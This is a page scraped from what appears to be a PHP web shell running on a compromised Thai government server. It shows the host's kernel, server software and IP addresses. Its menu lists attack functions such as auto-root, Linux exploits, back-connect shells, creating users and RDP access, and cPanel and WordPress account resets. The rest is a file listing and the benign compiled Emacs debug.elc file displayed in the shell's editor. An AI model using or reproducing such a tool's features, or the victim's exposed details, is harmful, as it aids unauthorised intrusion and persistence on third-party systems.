Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
emacs-lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
advice.elc
60.71
KB
-rw-r--r--
assoc.elc
4.37
KB
-rw-r--r--
authors.elc
27.41
KB
-rw-r--r--
autoload.elc
15.7
KB
-rw-r--r--
avl-tree.elc
15.92
KB
-rw-r--r--
backquote.elc
4.46
KB
-rw-r--r--
benchmark.elc
3.33
KB
-rw-r--r--
bindat.elc
10.84
KB
-rw-r--r--
byte-opt.elc
34.22
KB
-rw-r--r--
byte-run.elc
6.65
KB
-rw-r--r--
bytecomp.elc
124.99
KB
-rw-r--r--
check-declare.elc
8.77
KB
-rw-r--r--
checkdoc.elc
65.08
KB
-rw-r--r--
cl-compat.elc
4.28
KB
-rw-r--r--
cl-extra.elc
21.48
KB
-rw-r--r--
cl-indent.elc
13.98
KB
-rw-r--r--
cl-loaddefs.el
39.57
KB
-rw-r--r--
cl-macs.elc
99.36
KB
-rw-r--r--
cl-seq.elc
43.98
KB
-rw-r--r--
cl-specs.el
13.87
KB
-rw-r--r--
cl.elc
20.74
KB
-rw-r--r--
copyright.elc
8.64
KB
-rw-r--r--
crm.elc
7.94
KB
-rw-r--r--
cust-print.elc
12.77
KB
-rw-r--r--
debug.elc
24.86
KB
-rw-r--r--
derived.elc
10.72
KB
-rw-r--r--
disass.elc
5.09
KB
-rw-r--r--
easy-mmode.elc
14.85
KB
-rw-r--r--
easymenu.elc
20.15
KB
-rw-r--r--
edebug.elc
100.82
KB
-rw-r--r--
eldoc.elc
15.31
KB
-rw-r--r--
elint.elc
19.76
KB
-rw-r--r--
elp.elc
12.78
KB
-rw-r--r--
ewoc.elc
28.62
KB
-rw-r--r--
find-func.elc
17.26
KB
-rw-r--r--
find-gc.elc
3.74
KB
-rw-r--r--
float-sup.elc
1.39
KB
-rw-r--r--
generic.elc
6.55
KB
-rw-r--r--
gulp.elc
4.82
KB
-rw-r--r--
helper.elc
3.84
KB
-rw-r--r--
levents.elc
10.29
KB
-rw-r--r--
lisp-mnt.elc
21.87
KB
-rw-r--r--
lisp-mode.elc
37.14
KB
-rw-r--r--
lisp.elc
21.61
KB
-rw-r--r--
lmenu.elc
11.67
KB
-rw-r--r--
lucid.elc
6.22
KB
-rw-r--r--
macroexp.elc
4.45
KB
-rw-r--r--
map-ynp.elc
6.3
KB
-rw-r--r--
pp.elc
5.09
KB
-rw-r--r--
re-builder.elc
22.36
KB
-rw-r--r--
regexp-opt.elc
4.43
KB
-rw-r--r--
regi.elc
6.15
KB
-rw-r--r--
ring.elc
6.41
KB
-rw-r--r--
rx.elc
26.61
KB
-rw-r--r--
shadow.elc
5.63
KB
-rw-r--r--
sregex.elc
12.45
KB
-rw-r--r--
syntax.elc
5.18
KB
-rw-r--r--
tcover-ses.elc
14.68
KB
-rw-r--r--
tcover-unsafep.elc
4.09
KB
-rw-r--r--
testcover.elc
13.41
KB
-rw-r--r--
timer.elc
22.73
KB
-rw-r--r--
tq.elc
3.94
KB
-rw-r--r--
trace.elc
5.28
KB
-rw-r--r--
unsafep.elc
5.01
KB
-rw-r--r--
warnings.elc
9.61
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : debug.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:02:54 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/emacs-lisp/debug.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`debug.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\302\303\304\305\306\307\310\311&\207" [require button custom-declare-group debugger nil "Debuggers and related commands for Emacs." :prefix "debugger-" :group debug] 8) #@47 *Hooks run when `debugger-mode' is turned on. (custom-declare-variable 'debugger-mode-hook 'nil '(#$ . -808) :type 'hook :group 'debugger :version "20.3") #@259 *Maximum lines to show in debugger buffer in a noninteractive Emacs. When the debugger is entered and Emacs is running in batch mode, if the backtrace text has more than this many lines, the middle is discarded, and just the beginning and end are displayed. (custom-declare-variable 'debugger-batch-max-lines '40 '(#$ . -970) :type 'integer :group 'debugger :version "21.1") #@53 List of functions currently set for debug on entry. (defvar debug-function-list nil (#$ . 1351)) #@55 Non-nil means "single-step" after the debugger exits. (defvar debugger-step-after-exit nil (#$ . 1454)) #@64 This is the value for the debugger to return, when it returns. (defvar debugger-value nil (#$ . 1564)) #@68 This is the buffer that was current when the debugger was entered. (defvar debugger-old-buffer nil (#$ . 1673)) #@112 The contents of the previous backtrace (including text properties). This is to optimize `debugger-make-xrefs'. (defvar debugger-previous-backtrace nil (#$ . 1792)) #@56 Non-nil if we expect to get back in the debugger soon. (defvar debugger-will-be-back nil (#$ . 1962)) #@48 Non-nil means that debug-on-entry is disabled. (defvar inhibit-debug-on-entry nil (#$ . 2070)) #@178 Non-nil means that debug-on-entry is disabled. This variable is used by `debugger-jump', `debugger-step-through', and `debugger-reenable' to temporarily disable debug-on-entry. (defvar debugger-jumping-flag nil (#$ . 2172)) (byte-code "\301\211\207" [debugger debug] 2) #@349 Enter debugger. To return, type \<debugger-mode-map>`\[debugger-continue]'. Arguments are mainly for use when this is called from the internals of the evaluator. You may call with no args, or you may pass nil as the first arg and any other args you like. In that case, the list of args after the first will be printed into the backtrace buffer. (defalias 'debug #[(&rest debugger-args) "\203 \207\n\204 \306\307!\210\310\211\211\311\312\313!)p\310\211\211\314 \f \315 ! \" # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 :\310\211\310\211\316\211\310\211\211\211\211\211\211\211;\206\214 \317 \320V\316\211\310\211 ; < = \321\216\212\322\213\210.210/.-,+*)(' & % $ #\" 6> .\207" [inhibit-redisplay debugger-value noninteractive default-major-mode load-read-function overriding-local-map message "Entering debugger..." nil fundamental-mode get-buffer-create "*Backtrace*" match-data with-timeout-suspend t minibuffer-depth 0 ((byte-code "\306\307\"\2037 rq\210\310 \210\311 \210\312 \313\314\315 \"r\316\216\317\306\307\"\320\"\210\321\312 !\2033 \2043 \322 \210-\202; \323!\210\324\f!\210\325 !\207" [debugger-buffer save-selected-window-alist save-selected-window-window debugger-will-be-back debugger-with-timeout-suspend debugger-outer-match-data get-buffer-window 0 erase-buffer fundamental-mode selected-window mapcar #[(frame) "\301!D\207" [frame frame-selected-window] 3] frame-list ((byte-code "\305\211\2030 \n@\306 @!\203) \307 \211A@)!\203) \310 @ \211A@)\311#\210\nA\211\204 *\307\f!\203< \312\f\311\"\210\305\207" [save-selected-window-alist elt --dolist-tail-- x save-selected-window-window nil frame-live-p window-live-p set-frame-selected-window norecord select-window] 5)) select-window norecord window-dedicated-p bury-buffer kill-buffer with-timeout-unsuspend set-match-data] 4)) ((byte-code "\306 @\307=\203! \310\311\312\"\210\313\311!\211A@)\242\314=\203! \310\315\312\"\210\316 !\210\317 \210\320 !\210\f\203d \321ed\" V\203W eb\210\322 \245y\210` db\210\322 \245 Zy\210`|\210)\323c\210eb\210\324\325\326 \"\210\327\306!\210\324\330!\210\331\312 \324\330!\210\212\332 \210+\331\207" [unread-command-char debugger-args x debugger-buffer noninteractive debugger-batch-max-lines -1 debug backtrace-debug 4 t backtrace-frame lambda 5 pop-to-buffer debugger-mode debugger-setup-buffer count-lines 2 "...\n" message "%s" buffer-string kill-emacs "" nil recursive-edit middlestart buffer-read-only standard-output] 4)) overriding-terminal-local-map track-mouse last-command this-command unread-command-char unread-command-events unread-post-input-method-events last-input-event last-command-event last-nonmenu-event last-event-frame standard-input standard-output cursor-in-echo-area debugger-with-timeout-suspend debugger-outer-cursor-in-echo-area debugger-outer-inhibit-redisplay debugger-outer-standard-output debugger-outer-standard-input debugger-outer-last-event-frame debugger-outer-last-nonmenu-event debugger-outer-last-command-event debugger-outer-last-input-event debugger-outer-unread-post-input-method-events debugger-outer-unread-command-events debugger-outer-unread-command-char debugger-outer-this-command debugger-outer-last-command debugger-outer-track-mouse debugger-outer-overriding-terminal-local-map debugger-outer-overriding-local-map debugger-outer-load-read-function debugger-outer-match-data executing-kbd-macro debugger-will-be-back debugger-step-after-exit debugger-old-buffer debugger-buffer debug-on-quit debug-on-error enable-recursive-minibuffers inhibit-debug-on-entry inhibit-trace debug-on-next-call] 28 (#$ . 2450) nil]) #@103 Initialize the `*Backtrace*' buffer for entry to the debugger. That buffer should be current already. (defalias 'debugger-setup-buffer #[(debugger-args) "\306\307 \210\310\306!\210\311p\311\312\313 \314 \210,eb\210`\315\316!\210%@\317=\203+ \320\202, \321y\210`|\210\322c\210%@\323>\203B \324c\210\202\252 %@\325=\203i \326c\210%A@&\327&p\"\210\330c\210\331\321!\210\332c\210\333 \210\202\252 %@\334=\203\202 \335c\210\327%A@p\"\210\330c\210\202\252 %@\311=\203\220 \336c\210\202\252 \337c\210\327%@\306=\203\242 %A\202\244 %p\"\210\330c\210\212' ((\203\327 \340\341\306\311#\203\327 \306\210\342\343r(@q\210`)\"c\210(\211A(@\210\202\257 *\344 \207" [buffer-read-only buffer-undo-list print-length print-level print-escape-newlines standard-output nil erase-buffer set-buffer-multibyte t 8 50 backtrace search-forward "\n debug(" debug 2 1 "Debugger entered" (lambda debug) "--entering a function:\n" exit "--returning value: " prin1 10 delete-char 32 beginning-of-line error "--Lisp error: " "--beginning evaluation of function call form:\n" ": " re-search-forward "^ eval-\\(buffer\\|region\\)(" format " ; Reading at buffer position %d" debugger-make-xrefs debugger-args debugger-value eval-buffer-list tem] 4 (#$ . 6168)]) #@72 Attach cross-references to function names in the `*Backtrace*' buffer. (defalias 'debugger-make-xrefs #[(&optional buffer) "\212\206 pq\210p\306ee\f\203z \307\211\306 db\210\310\311! r q\210\312\216\fc\210 \203e o\204e `\313y\210` rq\210`\313y\210` )\314\307 \315p \n &)!\204. \307\211\2042 + d|\210db\210\f\neZ\307Oc\210e }\210+eb\210`\316\\b\210\317\320!\210m\204\305 ` !\317\321!\210` \"\322\323!\"\"!\211 #\205\247 \324#\325\"\211 $\203\276 !b\210\326\327!\210\330\331\332#$$\210,\333y\210\202} ~\210+\334 \211)\207" [buffer new-end old-end inhibit-read-only debugger-previous-backtrace all-match t nil generate-new-buffer " *temp*" ((byte-code "\301!\203\n \302!\210\301\207" [#1=#:temp-buffer buffer-name kill-buffer] 2)) -1 zerop compare-buffer-substrings 2 skip-syntax-forward "^w_" "w_" intern-soft buffer-substring-no-properties symbol-file defun re-search-forward "\\(\\sw\\|\\s_\\)+" help-xref-button 0 help-function-def 1 buffer-string new-start old-start #1# case-fold-search beg end sym file] 9 (#$ . 7427) "b"]) #@126 Proceed, stepping through subexpressions of this expression. Enter another debugger on next entry to eval, apply or funcall. (defalias 'debugger-step-through #[nil "\303\211\303\304\305\306\"\210\307\310!\210\311 \207" [debugger-step-after-exit debugger-jumping-flag debugger-will-be-back t add-hook post-command-hook debugger-reenable message "Proceeding, will debug on next eval or call." exit-recursive-edit] 4 (#$ . 8495) nil]) #@56 Continue, evaluating this expression without stopping. (defalias 'debugger-continue #[nil "\204 \302\303!\210\304\305!\210\212eb\210\306\307\310\311#\203 \311)\312 \207" [debugger-may-continue debugger-will-be-back error "Cannot continue" message "Continuing." re-search-forward "^\\* " nil t exit-recursive-edit] 4 (#$ . 8936) nil]) #@156 Continue, specifying value to return. This is only useful when the value returned from the debugger will be used, such as in a debug on exit from a frame. (defalias 'debugger-return-value #[(val) "\303\304\305\"\210\306 !\210\212eb\210\307\310\311\305#\203 \305)\312 \207" [val debugger-value debugger-will-be-back princ "Returning " t prin1 re-search-forward "^\\* " nil exit-recursive-edit] 4 (#$ . 9281) "XReturn value (evaluated): "]) #@70 Continue to exit from this frame, with all debug-on-entry suspended. (defalias 'debugger-jump #[nil "\302 \210\303\304\305\306\"\210\307\310!\210\303\311 \207" [debugger-jumping-flag debugger-will-be-back debugger-frame t add-hook post-command-hook debugger-reenable message "Continuing through this frame" exit-recursive-edit] 3 (#$ . 9730) nil]) #@142 Turn all debug-on-entry functions back on. This function is put on `post-command-hook' by `debugger-jump' and removes itself from that hook. (defalias 'debugger-reenable #[nil "\301\302\303\304\"\207" [debugger-jumping-flag nil remove-hook post-command-hook debugger-reenable] 3 (#$ . 10087)]) #@70 Return number of frames in backtrace before the one point points at. (defalias 'debugger-frame-number #[nil "\212\303 \210`\304\305!\211A@)\306=\204 T\202 \305T!\211A@)\307=\203, Teb\210\310\311!\203= \304\225b\210\312\313!\210\313y\210\314u\210g\315U\203P \312\313!\210\202T \312\314!\210\313y\210` X\203l \310\316!\203f \313y\210T\202@ +\207" [count opoint x beginning-of-line 0 backtrace-frame debug implement-debug-on-entry looking-at "Debugger entered--\\(Lisp error\\|returning value\\):" forward-sexp 1 2 40 " *;;;"] 3 (#$ . 10388)]) #@112 Request entry to debugger when this frame exits. Applies to the frame whose line point is on in the backtrace. (defalias 'debugger-frame #[nil "\212\301 \210\302\303!\203 \304\305!\210)\301 \210\306\307 \310\"\210g\311U\203( \310\312\313!\210\314c\210)\301 \207" [inhibit-read-only beginning-of-line looking-at " *;;;\\|[a-z]" error "This line is not a function call" backtrace-debug debugger-frame-number t 32 delete-char 1 42] 3 (#$ . 10951) nil]) #@108 Do not enter debugger when this frame exits. Applies to the frame whose line point is on in the backtrace. (defalias 'debugger-frame-clear #[nil "\212\301 \210\302\303!\203 \304\305!\210)\301 \210\306\307 \310\"\210g\311U\203( \312\313\314!\210\315c\210)\301 \207" [inhibit-read-only beginning-of-line looking-at " *;;;\\|[a-z]" error "This line is not a function call" backtrace-debug debugger-frame-number nil 42 t delete-char 1 32] 3 (#$ . 11410) nil]) (put 'debugger-env-macro 'lisp-indent-function 0) #@35 Run BODY in original environment. (defalias 'debugger-env-macro '(macro . #[(&rest body) "\301\302\303\304\305\306\307\304\310\311\312\313\307\312B\314BBE\315BBE\316BBFF\207" [body save-excursion (if (null (buffer-name debugger-old-buffer)) (setq debugger-old-buffer (current-buffer))) (set-buffer debugger-old-buffer) let ((load-read-function debugger-outer-load-read-function) (overriding-terminal-local-map debugger-outer-overriding-terminal-local-map) (overriding-local-map debugger-outer-overriding-local-map) (track-mouse debugger-outer-track-mouse) (last-command debugger-outer-last-command) (this-command debugger-outer-this-command) (unread-command-events debugger-outer-unread-command-events) (unread-post-input-method-events debugger-outer-unread-post-input-method-events) (last-input-event debugger-outer-last-input-event) (last-command-event debugger-outer-last-command-event) (last-nonmenu-event debugger-outer-last-nonmenu-event) (last-event-frame debugger-outer-last-event-frame) (standard-input debugger-outer-standard-input) (standard-output debugger-outer-standard-output) (inhibit-redisplay debugger-outer-inhibit-redisplay) (cursor-in-echo-area debugger-outer-cursor-in-echo-area)) (set-match-data debugger-outer-match-data) prog1 ((save-ucc (with-no-warnings unread-command-char))) unwind-protect progn (with-no-warnings (setq unread-command-char debugger-outer-unread-command-char)) ((with-no-warnings (setq debugger-outer-unread-command-char unread-command-char))) ((with-no-warnings (setq unread-command-char save-ucc))) ((setq debugger-outer-match-data (match-data)) (setq debugger-outer-load-read-function load-read-function) (setq debugger-outer-overriding-terminal-local-map overriding-terminal-local-map) (setq debugger-outer-overriding-local-map overriding-local-map) (setq debugger-outer-track-mouse track-mouse) (setq debugger-outer-last-command last-command) (setq debugger-outer-this-command this-command) (setq debugger-outer-unread-command-events unread-command-events) (setq debugger-outer-unread-post-input-method-events unread-post-input-method-events) (setq debugger-outer-last-input-event last-input-event) (setq debugger-outer-last-command-event last-command-event) (setq debugger-outer-last-nonmenu-event last-nonmenu-event) (setq debugger-outer-last-event-frame last-event-frame) (setq debugger-outer-standard-input standard-input) (setq debugger-outer-standard-output standard-output) (setq debugger-outer-inhibit-redisplay inhibit-redisplay) (setq debugger-outer-cursor-in-echo-area cursor-in-echo-area))] 15 (#$ . 11924)])) #@71 Eval an expression, in an environment like that outside the debugger. (defalias 'debugger-eval-expression #[(exp) "\212\306!\204 pq\210 \n \f \f ! \" # $ %\307&!\210' (\310\216)'\311*!')*\312 &%$#\"! \f .\207" [debugger-old-buffer debugger-outer-load-read-function debugger-outer-overriding-terminal-local-map debugger-outer-overriding-local-map debugger-outer-track-mouse debugger-outer-last-command buffer-name set-match-data ((byte-code "\211\207" [save-ucc unread-command-char] 2)) eval-expression match-data debugger-outer-this-command debugger-outer-unread-command-events debugger-outer-unread-post-input-method-events debugger-outer-last-input-event debugger-outer-last-command-event debugger-outer-last-nonmenu-event debugger-outer-last-event-frame debugger-outer-standard-input debugger-outer-standard-output debugger-outer-inhibit-redisplay debugger-outer-cursor-in-echo-area cursor-in-echo-area inhibit-redisplay standard-output standard-input last-event-frame last-nonmenu-event last-command-event last-input-event unread-post-input-method-events unread-command-events this-command last-command track-mouse overriding-local-map overriding-terminal-local-map load-read-function debugger-outer-match-data unread-command-char save-ucc debugger-outer-unread-command-char exp] 16 (#$ . 14503) (list (read-from-minibuffer "Eval: " nil read-expression-map t 'read-expression-history))]) (byte-code "\304B\305\304!\204\371 \306\304\307 \310 \311\n \"\210\312\n!\210\313\n\314\315#\210\313\n\316\317#\210\313\n\320\321#\210\313\n\322\323#\210\313\n\324\325#\210\313\n\326\327#\210\313\n\330\331#\210\313\n\332\333#\210\313\n\334\335#\210\313\n\336\337#\210\313\n\340\341#\210\313\n\342\343#\210\313\n\344\345#\210\313\n\346\347#\210\313\n\350\351#\210\313\n\352\353 B#\210\313 \354\355#\210\313 \356\357#\210\313 \360\361#\210\313 \362\363#\210\313 \364\365#\210\313 \366\367#\210\313 \370\371#\210\313 \372\373#\210\313 \374\375#\210\313 \376\377#\210\313 \201@ \201A #\210\313 \201B \201C #\210\313 \201D \201E #\210\313 \201F \201G #\210\313 \201H \201I #\210\313 \201J \201K #\210\n*\"\210\201L \201M \201N \201O #\207" [current-load-list menu-map map button-buffer-map debugger-mode-map default-boundp set-default make-keymap make-sparse-keymap set-keymap-parent suppress-keymap define-key "-" negative-argument "b" debugger-frame "c" debugger-continue "j" debugger-jump "r" debugger-return-value "u" debugger-frame-clear "d" debugger-step-through "l" debugger-list-functions "h" describe-mode "q" top-level "e" debugger-eval-expression " " next-line "R" debugger-record-expression " " debug-help-follow [mouse-2] push-button [menu-bar debugger] "Debugger" [deb-top] (menu-item "Quit" top-level :help "Quit debugging and return to top level") [deb-s0] ("--") [deb-descr] (menu-item "Describe Debugger Mode" describe-mode :help "Display documentation for debugger-mode") [deb-hfol] (menu-item "Help Follow" debug-help-follow :help "Follow cross-reference") [deb-nxt] (menu-item "Next Line" next-line :help "Move cursor down") [deb-s1] ("--") [deb-lfunc] (menu-item "List debug on entry functions" debugger-list-functions :help "Display a list of all the functions now set to debug on entry") [deb-fclear] (menu-item "Cancel debug frame" debugger-frame-clear :help "Do not enter debugger when this frame exits") [deb-frame] (menu-item "Debug frame" debugger-frame :help "Request entry to debugger when this frame exits") [deb-s2] ("--") [deb-ret] (menu-item "Return value..." debugger-return-value :help "Continue, specifying value to return.") [deb-rec] (menu-item "Display and Record Expression" debugger-record-expression :help "Display a variable's value and record it in `*Backtrace-record*' buffer") [deb-eval] (menu-item "Eval Expression..." debugger-eval-expression :help "Eval an expression, in an environment like that outside the debugger") [deb-jump] (menu-item "Jump" debugger-jump :help "Continue to exit from this frame, with all debug-on-entry suspended") [deb-cont] (menu-item "Continue" debugger-continue :help "Continue, evaluating this expression without stopping") [deb-step] (menu-item "Step through" debugger-step-through :help "Proceed, stepping through subexpressions of this expression") put debugger-mode mode-class special] 7) #@522 Mode for backtrace buffers, selected in debugger. \<debugger-mode-map> A line starts with `*' if exiting that frame will call the debugger. Type \[debugger-frame] or \[debugger-frame-clear] to set or remove the `*'. When in debugger due to frame being exited, use the \[debugger-return-value] command to override the value being returned from that frame. Use \[debug-on-entry] and \[cancel-debug-on-entry] to control which functions will enter the debugger when called. Complete list of commands: \{debugger-mode-map} (defalias 'debugger-mode #[nil "\305 \210\306\307\310\311 !\210\312\f!\210\313\314!\207" [major-mode mode-name truncate-lines emacs-lisp-mode-syntax-table debugger-mode-map kill-all-local-variables debugger-mode "Debugger" t set-syntax-table use-local-map run-mode-hooks debugger-mode-hook] 2 (#$ . 18884)]) #@72 *Buffer name for expression values, for \[debugger-record-expression]. (custom-declare-variable 'debugger-record-buffer '"*Debugger-record*" '(#$ . -19722) :type 'string :group 'debugger :version "20.3") #@74 Display a variable's value and record it in `*Backtrace-record*' buffer. (defalias 'debugger-record-expression #[(exp) "\304!\211\305\306\307 \"!\210\305\310 !!\210\311 \210*r\312!q\210\313\314\315\316!\317\316!{\")\207" [debugger-record-buffer buffer standard-output exp get-buffer-create princ format "Debugger Eval (%s): " debugger-eval-expression terpri get-buffer message "%s" line-beginning-position 0 line-end-position] 6 (#$ . 19932) (list (read-from-minibuffer "Record Eval: " nil read-expression-map t 'read-expression-history))]) #@109 Follow cross-reference at POS, defaulting to point. For the cross-reference format, see `help-make-xrefs'. (defalias 'debug-help-follow #[(&optional pos) "\302\303!\210\204\n `\304!?\205: \305\212b\210\306\307!\210`\310\307!\210`{)!\311 !\2046 \312 !\2046 \313 !\2059 \314 !)\207" [pos sym require help-mode push-button intern skip-syntax-backward "w_" skip-syntax-forward boundp fboundp facep help-xref-interned] 4 (#$ . 20484) "d"]) #@128 Conditionally call the debugger. A call to this function is inserted by `debug-on-entry' to cause functions to break on entry. (defalias 'implement-debug-on-entry #[nil "\206 ?\205\f \n\303!\207" [inhibit-debug-on-entry debugger-jumping-flag debugger debug] 2 (#$ . 20932)]) #@42 Return whether SYMBOL is a special form. (defalias 'debugger-special-form-p #[(symbol) "\301!\205 \302K!\205 \303K!A\304=\207" [symbol fboundp subrp subr-arity unevalled] 2 (#$ . 21216)]) #@652 Request FUNCTION to invoke debugger each time it is called. When called interactively, prompt for FUNCTION in the minibuffer. This works by modifying the definition of FUNCTION. If you tell the debugger to continue, FUNCTION's execution proceeds. If FUNCTION is a normal function or a macro written in Lisp, you can also step through its execution. FUNCTION can also be a primitive that is not a special form, in which case stepping is not possible. Break-on-entry for primitive functions only works when that function is called from Lisp. Use \[cancel-debug-on-entry] to cancel the effect of this command. Redefining FUNCTION also cancels it. (defalias 'debug-on-entry #[(function) "\304!\203 \305\306\"\210K9\204 \307K!\203- \310\311\312K!\313\314KD\315BBFM\210\202\\ K\242\316=\203C \317K\211A@)\320\n\320\321%\210K:\203X K@\322=\203\\ KA:\204\\ \323!\210K:\204g \305\324\"\210\325\321\"M\210 >\204x B\207" [function x noninteractive debug-function-list debugger-special-form-p error "Function %s is a special form" subrp lambda (&rest debug-on-entry-args) interactive-form apply quote (debug-on-entry-args) autoload load nil t macro debug-convert-byte-code "Definition of %s is not a list" debug-on-entry-1] 8 (#$ . 21416) (let ((fn (function-called-at-point)) val) (when (debugger-special-form-p fn) (setq fn nil)) (setq val (completing-read (if fn (format "Debug on entry to function (default %s): " fn) "Debug on entry to function: ") obarray #'(lambda (symbol) (and (fboundp symbol) (not (debugger-special-form-p symbol)))) t nil nil (symbol-name fn))) (list (if (equal val "") fn (intern val))))]) #@246 Undo effect of \[debug-on-entry] on FUNCTION. If FUNCTION is nil, cancel debug-on-entry for all functions. When called interactively, prompt for FUNCTION in the minibuffer. To specify a nil argument interactively, exit with an empty minibuffer. (defalias 'cancel-debug-on-entry #[(&optional function) "\203 \303\230\204 \304\305\"\305\306\307\217\210 M\210)\310\n\"\207\311\312!\210\313\314\n\"\207" [function defn debug-function-list "" debug-on-entry-1 nil (byte-code "A@\301\232\203 \3028@\303=\203 \3028A@A@\302\207" [defn (&rest debug-on-entry-args) 3 apply] 2) ((error)) delq message "Cancelling debug-on-entry for all functions" mapcar cancel-debug-on-entry] 3 (#$ . 23062) (list (let ((name (completing-read "Cancel debug on entry to function (default all functions): " (mapcar 'symbol-name debug-function-list) nil t))) (when name (unless (string= name "") (intern name)))))]) (defalias 'debug-convert-byte-code #[(function) "K\211\242\302=\211\203 A :?\205T \305 \306\"\307 A@\310 8\311 8FC \312 \233\2035 \313\312 8D\fB\314 8\203A \315!\fB\316 @\fBB*\n\203Q \302 B M*\207" [function defn macro contents body append nil byte-code 2 3 5 interactive 4 documentation lambda] 6]) (defalias 'debug-on-entry-1 #[#'flag "K\211\211\242\305=\203 \nA\n\242\306=\204\" \203n \307\310\"\210\202n \nA\211\211 A@);\203; \n\211 AA)\203; \nA\n\211 A@)\242\311=\203J \nA \n\211 A@)\312\232=\204n \203e \n\313\nAB\241\210\202n \n\211 \211AA)\241\210 *\207" [function defn tail flag x macro lambda error "%s is not a user-defined Lisp function" interactive (implement-debug-on-entry) (implement-debug-on-entry)] 4]) #@64 Display a list of all the functions now set to debug on entry. (defalias 'debugger-list-functions #[nil "\304\305!\210\306\307t\"\210\310 \220rq\210 \204 \311\312!\202M \311\313!\210 \314\211\203B @\315`\316\n!\210`\317\320\321\nC&\210\322 \210 A\211\204& *\322 \210\311\323!\210\311\324!)\221\207" [standard-output debug-function-list fun --dolist-tail-- require help-mode help-setup-xref (debugger-list-functions) help-buffer princ "No debug-on-entry functions now\n" "Functions set to debug on entry:\n\n" nil make-text-button prin1 type help-function help-args terpri "Note: if you have redefined a function, then it may no longer\n" "be set to debug on entry, even if it is in the list."] 9 (#$ . 24715) nil]) (provide 'debug)
Close
